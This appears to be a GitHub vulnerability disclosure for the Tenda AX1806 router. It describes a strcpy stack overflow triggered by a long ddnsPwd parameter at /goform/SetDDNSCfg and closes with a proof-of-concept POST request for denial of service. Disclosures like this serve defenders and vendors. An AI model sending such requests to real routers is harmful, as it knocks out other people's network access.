

main IoT-CVE / Tenda / AX1806 / 7 /



sec-bin Update README ...

on Feb 9 History

..



image

10 months ago



README.md

10 months ago



README_zh.md

10 months ago



README.md

Affect device: Tenda Router AX1806 v1.0.0.1(<https://www.tenda.com.cn/download/detail-3306.html>)

Vulnerability Type: Stack overflow

Impact: Denial of Service(DoS)

Vulnerability description

This vulnerability lies in the `/goform/SetDDNSCfg` page which influences the latest version of Tenda Router AX1806 v1.0.0.1: <https://www.tenda.com.cn/download/detail-3306.html>

There is a stack overflow vulnerability in the `formSetSysToo1DDNS` function.

The `v5` variable is obtained directly from the http request parameter `ddnsPwd`.

This function uses `strcpy` to copy the **variable v5 to the stack variable v17** without any security check.

```
48 | v5 = webgetvar(a1, (int)"ddnsPwd", (int)"0");
49 | strcpy(v17, v5);
```

So attacker can construct a **long ddnsPwd parameter** in the http request,which causes stack overflow.

POC

Poc of Denial of Service(DoS):

```
POST /goform/SetDDNSCfg HTTP/1.1
Host: 192.168.2.1
Connection: close
Accept: text/plain, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.2.1/main.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 2744
```

[illegible]